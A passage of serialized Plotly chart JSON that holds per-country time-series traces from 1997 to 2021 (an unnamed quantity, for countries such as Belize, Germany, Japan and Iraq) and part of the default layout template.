"2020", - "2021" - ], - "y": [ - 3883.39, - 4164.68, - 5048.92, - 4340.6, - 4153.62, - 5373.76, - 5781.61, - 7098.61, - 7596.37, - 7624.36, - 8557.01, - 10257.09, - 9778.46, - 14394.2, - 17562.19, - 15554.17, - 17129.35, - 16325.39, - 13283.67, - 12281.52, - 12200.29, - 17199.15, - 14689.35, - 12176.27, - 14445.9 - ] - }, - { - "mode": "lines", - "name": "BELIZE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.52, - 0, - 1.14, - 0, - 1.01, - 2.7, - 7.37, - 19.82, - 2.99, - 2.85, - 14.51, - 26.17, - 23.78, - 24.01, - 24.71, - 15.52, - 15.75, - 14.84, - 17.64, - 15.23, - 9.93, - 10.21 - ] - }, - { - "mode": "lines", - "name": "BENIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34.19, - 39.98, - 71.1, - 97.22, - 98.47, - 102.54, - 105.9, - 126.91, - 174.09, - 231.6, - 347.92, - 317, - 345.58, - 417.09, - 915.9, - 724.86, - 931.59, - 720.07, - 702.96, - 655.28, - 702.74, - 802.71, - 685.55, - 881.17, - 779.29 - ] - }, - { - "mode": "lines", - "name": "BERMUDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.67, - 0, - 0, - 0, - 0.68, - 0, - 0, - 1.94, - 0.38, - 1.28, - 1.65, - 64.77, - 1.03, - 0.9, - 0, - 1.39, - 0, - 2.82, - 2.59, - 4.21, - 3.12, - 10.84, - 0, - 4.54, - 4.18 - ] - }, - { - "mode": "lines", - "name": "BHUTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 26.77, - 15.69, - 25.59, - 22.17, - 31.52, - 71.2, - 141.86, - 155.59, - 187.94, - 199.72, - 281.46, - 262.94, - 271.98, - 377.6, - 432.41, - 397.22, - 507.77, - 483.81, - 750.22, - 817.1, - 924.11, - 1028.29, - 1144.33, - 1134.02, - 1102.44 - ] - }, - { - "mode": "lines", - "name": "BOLIVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.71, - 1.02, - 0.87, - 16.34, - 3.9, - 3.15, - 5.43, - 4.18, - 7.5, - 8.39, - 11.15, - 17.11, - 13.13, - 22.4, - 28.91, - 64.79, - 55.61, - 74.4, - 314.68, - 253.06, - 772.44, - 956.92, - 959.35, - 1253.47, - 1613.68 - ] - }, - { - "mode": "lines", - "name": "BOSNIA-HRZGOVIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.3, - 0.54, - 1.39, - 5.64, - 5.35, - 2.86, - 1.72, - 4.08, - 17.28, - 6.74, - 3.21, - 22.28, - 24.24, - 26.74, - 13.23, - 22.13, - 24.11, - 16.43, - 24.12, - 19.54, - 18.64, - 17.01, - 14.47 - ] - }, - { - "mode": "lines", - "name": "BOTSWANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.92, - 0, - 0, - 5.56, - 4.57, - 4.09, - 6.75, - 8.32, - 10.92, - 10.9, - 16.98, - 46.62, - 29.28, - 60.36, - 101.83, - 109.09, - 437.42, - 1057.35, - 594.61, - 1384.51, - 1746.87, - 1152.79, - 922.74, - 634.41, - 622.15 - ] - }, - { - "mode": "lines", - "name": "ECUADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.53, - 5.48, - 10.89, - 17.14, - 15.65, - 14.07, - 19.97, - 45.65, - 46.53, - 101.62, - 272.42, - 157.5, - 156.77, - 290.58, - 275.82, - 1136.1, - 545.83, - 1290.77, - 716.97, - 553.73, - 473.78, - 517.22, - 614.6, - 541.14, - 1104.02 - ] - }, - { - "mode": "lines", - "name": "CROATIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.03, - 6.53, - 5.51, - 5.18, - 6.32, - 10.66, - 24.13, - 24.9, - 58.49, - 112, - 90.97, - 100.89, - 116.57, - 125.75, - 138.73, - 152.01, - 148.86, - 205.04, - 148.44, - 149.49, - 200.73, - 192.71, - 204.15, - 184.71, - 317.22 - ] - }, - { - "mode": "lines", - "name": "ZIMBABWE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 41.16, - 38.49, - 32.5, - 23.4, - 30.98, - 29.88, - 39.93, - 50.6, - 49.54, - 64.02, - 54.19, - 72.76, - 69.8, - 124.77, - 132.21, - 187.73, - 170.56, - 256.65, - 229.53, - 169.54, - 225.74, - 189.51, - 174.72, - 181.42, - 150.58 - ] - }, - { - "mode": "lines", - "name": "FRANCE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1544.13, - 1549.3, - 1609.15, - 1660.82, - 1789.25, - 2168.27, - 2371.11, - 3575.04, - 6192.89, - 6315.68, - 8865.41, - 7653.34, - 8012, - 8914.14, - 8890.89, - 9638.39, - 8800.18, - 9372.73, - 8363.71, - 10957.82, - 11424.43, - 11898.24, - 11266.63, - 9125.4, - 8230.87 - ] - }, - { - "mode": "lines", - "name": "HAITI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 5.76, - 0, - 10.94, - 9.04, - 11.21, - 16.62, - 22.89, - 28.72, - 46.07, - 34.43, - 61.87, - 50.26, - 65.01, - 60.17, - 87.02, - 65.55, - 75.05, - 102.27, - 93.1, - 79.45, - 121.1, - 85.23 - ] - }, - { - "mode": "lines", - "name": "FR POLYNESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.54, - 0.78, - 2.09, - 2.08, - 1.41, - 0, - 1.09, - 11.98, - 1.79, - 2.83, - 3.1, - 3.84, - 4.14, - 6.43, - 5.51, - 6.1, - 5.74, - 7.74 - ] - }, - { - "mode": "lines", - "name": "GUYANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.22, - 2.76, - 4.09, - 6.43, - 4.05, - 5.71, - 16.7, - 14.03, - 32.4, - 27.98, - 29.52, - 22.84, - 24.62, - 25.28, - 30.53, - 26.53, - 31.47, - 34.72, - 40.35, - 34.55, - 32.62, - 36.08, - 32.16, - 46.96, - 205.48 - ] - }, - { - "mode": "lines", - "name": "GUINEA BISSAU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.33, - 23.3, - 45.07, - 76.11, - 17, - 52.58, - 54.59, - 71.79, - 96.86, - 50.03, - 68.32, - 136.8, - 187.39, - 62.52, - 248.05, - 151.09, - 128.69, - 168.14, - 212.64, - 237.32, - 266.89, - 134.55, - 133.53, - 145.11, - 148.75 - ] - }, - { - "mode": "lines", - "name": "GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.43, - 11.81, - 14.26, - 17.85, - 40.49, - 49.23, - 39.38, - 78.91, - 74.51, - 422.4, - 816.05, - 367.29, - 399.59, - 199.62, - 394.16, - 733.9, - 397.82, - 1013.5, - 648.45, - 634.15, - 892.57, - 819.11, - 771.13, - 2132.79, - 3122.2 - ] - }, - { - "mode": "lines", - "name": "GUATEMALA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 5.44, - 15.36, - 18.76, - 14.08, - 20.54, - 26.56, - 38.9, - 47.76, - 75.88, - 78.44, - 84.36, - 92.89, - 152.86, - 198, - 232.92, - 225.48, - 246.13, - 268.49, - 262.93, - 307.9, - 321.64, - 314.27, - 352.1, - 430.4 - ] - }, - { - "mode": "lines", - "name": "GUAM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.37, - 0, - 0.6, - 1.53, - 2.91, - 0.93, - 0.61, - 0, - 1.89, - 1.94, - 1.02, - 0, - 0.41, - 0, - 0, - 0, - 0.66, - 0.91, - 0.77, - 1.46 - ] - }, - { - "mode": "lines", - "name": "GUADELOUPE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 1.21, - 0.79, - 1.45, - 0, - 2.07, - 1.38, - 1.87, - 1.75, - 1.59, - 3.6, - 6.26, - 8.98, - 6.99, - 6.87, - 4.24, - 2.93, - 0, - 5.35, - 3.79, - 8, - 3.35, - 2.94 - ] - }, - { - "mode": "lines", - "name": "GHANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 54.01, - 68.29, - 73.24, - 85.98, - 88.33, - 124.27, - 215.6, - 234.36, - 279.75, - 568.42, - 935.72, - 710.48, - 537.52, - 739.52, - 1141.37, - 1021.74, - 1202.04, - 1938, - 3605.01, - 2619.57, - 3345.84, - 4480.74, - 2390.97, - 2237.46, - 1986.34 - ] - }, - { - "mode": "lines", - "name": "GRENADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0.18, - 0, - 0.5, - 0.71, - 0.71, - 0.27, - 1.03, - 0.84, - 1.26, - 0.53, - 0.71, - 1.03, - 1.06, - 0.85, - 1.47, - 0, - 0, - 3.09, - 2.9, - 4.25, - 3.27, - 3.33, - 3.51 - ] - }, - { - "mode": "lines", - "name": "GABON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.57, - 13.66, - 9.59, - 19.47, - 15.78, - 38.69, - 32.99, - 53.16, - 58.68, - 132.55, - 146.83, - 196.77, - 205.6, - 345.26, - 193.58, - 871.21, - 921.06, - 835.76, - 142.42, - 112.8, - 440.46, - 511.17, - 183.94, - 464.17, - 914.05 - ] - }, - { - "mode": "lines", - "name": "GAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 16.17, - 16.59, - 15.64, - 14.07, - 18.59, - 17.43, - 26.41, - 29.7, - 45.28, - 45.3, - 58.85, - 65.93, - 56.42, - 104.37, - 85.87, - 114.33, - 109.61, - 90.9, - 105.58, - 178.9, - 201.66, - 173.28, - 168, - 148.38 - ] - }, - { - "mode": "lines", - "name": "GEORGIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 1.43, - 3.69, - 8.37, - 25.57, - 39.45, - 42.21, - 54.05, - 115.39, - 103.72, - 88.96, - 66.16, - 110.7, - 180.65, - 181.69, - 115.11, - 105.02, - 107.04, - 122.45, - 104.3, - 132.58, - 94.17, - 186.22, - 144.28 - ] - }, - { - "mode": "lines", - "name": "GREECE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 123.26, - 146.34, - 111.33, - 135.49, - 136.1, - 171.51, - 247.13, - 330.16, - 620.47, - 882.24, - 656.58, - 947.91, - 606.93, - 458.27, - 901, - 412.01, - 444.58, - 488.59, - 446.71, - 503.02, - 529.98, - 647.39, - 569.3, - 689.32, - 996.52 - ] - }, - { - "mode": "lines", - "name": "GIBRALTAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.14, - 0, - 0, - 0, - 1.83, - 0, - 0.65, - 0.7, - 17.9, - 1.52, - 0, - 647.95, - 160.65, - 292.85, - 0.36, - 97.74, - 637.83, - 0, - 0, - 290.69, - 575.16, - 630.14, - 203.83, - 256.06 - ] - }, - { - "mode": "lines", - "name": "GERMANY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4449.4, - 3992.63, - 3579.38, - 3667.15, - 3816.45, - 4511.21, - 5463.11, - 6841.6, - 9609.75, - 11537.45, - 15006.36, - 18394.56, - 15731.07, - 18642.55, - 23543.93, - 21571.99, - 20448.22, - 20325.2, - 19181.24, - 18765.27, - 21983.51, - 24063.51, - 21982, - 21767.95, - 17606.26 - ] - }, - { - "mode": "lines", - "name": "FR GUIANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.45, - 1.26, - 3.78, - 2.93, - 0, - 0, - 0, - 0, - 0.44, - 0.24, - 4.13, - 41.92, - 2.88, - 3.81, - 108.08, - 4.68, - 39.14, - 60.45, - 2.33, - 2.92, - 3.03, - 3.72, - 3.88, - 3.06, - 1.67 - ] - }, - { - "mode": "lines", - "name": "HONDURAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.65, - 3.88, - 12.72, - 15.35, - 11.96, - 21.73, - 0, - 21.53, - 34.91, - 114.91, - 97.44, - 74.63, - 70.87, - 64.5, - 99.43, - 127.82, - 130.49, - 212.87, - 170.97, - 157.13, - 159.49, - 184.97, - 204.66, - 175.94, - 254.46 - ] - }, - { - "mode": "lines", - "name": "FINLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 233.94, - 254.59, - 196.69, - 265.7, - 231.84, - 270.14, - 381.37, - 532.35, - 788.17, - 804.14, - 1167.73, - 1484.54, - 1219.02, - 1907.94, - 2417.91, - 1424.12, - 1469.51, - 1247.66, - 1250.85, - 1281.42, - 1683.87, - 1380.2, - 894.28, - 997.56, - 775.2 - ] - }, - { - "mode": "lines", - "name": "HONG KONG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2245.02, - 2329.88, - 3328.78, - 3492.97, - 3095.22, - 3585.91, - 4754.48, - 5421.95, - 6678.3, - 7169.21, - 9010.57, - 13106.89, - 12622.12, - 19735.66, - 23340.61, - 20186.37, - 20053.93, - 19171.87, - 18143.93, - 22251.42, - 25366.25, - 30988.99, - 27902.43, - 25335.22, - 22190.72 - ] - }, - { - "mode": "lines", - "name": "JAPAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4036.97, - 4117.72, - 4221.17, - 3636.67, - 3656.88, - 3700.35, - 4376.96, - 5363.04, - 6542.35, - 7467.65, - 10184.4, - 10911.97, - 10363.72, - 13723.27, - 18327.97, - 18512.35, - 16294.82, - 15516.93, - 14513.07, - 13600.37, - 15707.57, - 17634.4, - 16954.92, - 15359.33, - 15509.21 - ] - }, - { - "mode": "lines", - "name": "JAMAICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.37, - 2.05, - 3.98, - 9.22, - 5.79, - 10.72, - 9.97, - 16.08, - 27.99, - 20.79, - 47.31, - 23.6, - 21.51, - 23.11, - 28.28, - 32.1, - 37.12, - 39.58, - 41.76, - 44.18, - 56.59, - 60.43, - 59.71, - 66.29, - 59.26 - ] - }, - { - "mode": "lines", - "name": "EQUTL GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.13, - 1.1, - 4.56, - 6.51, - 4.87, - 178.62, - 6.61, - 276.74, - 11.55, - 223.17, - 546.14, - 319.06, - 764.4, - 474.83, - 809.1, - 766.41, - 646.01, - 983.8, - 300.98, - 742.81 - ] - }, - { - "mode": "lines", - "name": "ITALY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2008.09, - 2143.25, - 1853.7, - 2032.33, - 1911.31, - 2169.06, - 2800.44, - 3659.09, - 4374.67, - 6260.67, - 7820.73, - 8252.77, - 7262.31, - 8807.59, - 10004.78, - 9083.77, - 9429.36, - 9324.11, - 8289.95, - 8797.18, - 10416.74, - 10885.8, - 9461.74, - 8597.79, - 9697.73 - ] - }, - { - "mode": "lines", - "name": "ISRAEL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 688.87, - 705.48, - 1081.64, - 904.77, - 855.77, - 1237.22, - 1393.73, - 1993.87, - 2232.68, - 2403.04, - 3030.3, - 3548.95, - 3853.66, - 5173.28, - 6675.87, - 6096.36, - 6058.52, - 5617.89, - 4916.5, - 5048.28, - 5430.56, - 5649.56, - 4955.8, - 4661.68, - 5707.85 - ] - }, - { - "mode": "lines", - "name": "ESTONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.9, - 5.91, - 7.35, - 3.62, - 10.3, - 4.99, - 6.22, - 10.95, - 22.88, - 54.22, - 79.35, - 64.86, - 61.85, - 97.82, - 348.22, - 311.78, - 194.43, - 186.15, - 205.72, - 199.96, - 140.86, - 172.53, - 119.5, - 111.79, - 101.26 - ] - }, - { - "mode": "lines", - "name": "IRELAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 102.53, - 107.62, - 135.83, - 175.18, - 187.31, - 233.8, - 282.06, - 395.13, - 441.68, - 515.58, - 574.78, - 688.83, - 525.39, - 529.6, - 791.64, - 883.85, - 972.47, - 1292.67, - 1077.3, - 1011.11, - 1331.09, - 953.07, - 1137.84, - 977.68, - 1478.63 - ] - }, - { - "mode": "lines", - "name": "ETHIOPIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 68.27, - 65.05, - 58.2, - 70.4, - 109.22, - 72.52, - 87.97, - 65.76, - 83.26, - 127.36, - 211.94, - 258.74, - 272.26, - 306.4, - 493.42, - 787.38, - 845.32, - 827.39, - 854.61, - 840.57, - 731.33, - 821.04, - 896.86, - 716.96, - 590.61 - ] - }, - { - "mode": "lines", - "name": "IRAQ", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 196.61, - 187.47, - 249.1, - 90.92, - 206.83, - 214.91, - 75.3, - 132.31, - 157.99, - 5718.4, - 7109.9, - 8147.37, - 7504.06, - 9686.44, - 19682.44, - 20525.44, - 19438.89, - 15076.98, - 11841.98, - 12819.39, - 19078.04, - 24161.14, - 25618.34, - 15786.09, - 23360.91 - ] - }, - { - "mode": "lines", - "name": "IRAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 804.66, - 632.85, - 1241.51, - 438.2, - 536.85, - 913.03, - 1184.93, - 1641.6, - 1890.81, - 9065.03, - 12887.52, - 14910.78, - 13394.01, - 13421.12, - 16201.48, - 14945.53, - 15278.51, - 13130.08, - 9060.26, - 12886.12, - 13763.89, - 17036.65, - 4770.95, - 2106.17, - 1236.72 - ] - }, - { - "mode": "lines", - "name": "INDONESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1168.9, - 1014.37, - 1279.27, - 1310, - 1570.52, - 2206.93, - 3249.26, - 3950.34, - 4388.31, - 6214.92, - 6985.42, - 9226.17, - 11720.03, - 15619.41, - 21443.92, - 20210.79, - 19598.5, - 19047.96, - 15951.42, - 16916.11, - 20402.57, - 21125.27, - 19191.2, - 17496.38, - 18854.32 - ] - }, - { - "mode": "lines", - "name": "FAROE IS.", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0, - 0.05, - 0, - 0.07, - 0, - 0, - 0.24, - 0.36, - 0.42, - 0.09, - 0.21, - 8.11, - 0.89, - 0, - 3.08, - 2.69, - 1.79, - 0.59, - 0.31, - 2.99, - 0, - 0, - 0 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - 